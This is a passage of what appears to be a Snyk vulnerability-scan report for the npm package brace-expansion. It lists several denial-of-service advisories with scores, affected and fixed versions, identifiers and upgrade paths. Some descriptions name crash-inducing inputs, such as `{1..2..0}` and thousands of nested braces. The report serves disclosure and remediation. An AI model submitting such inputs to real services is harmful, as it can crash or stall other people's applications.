"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub 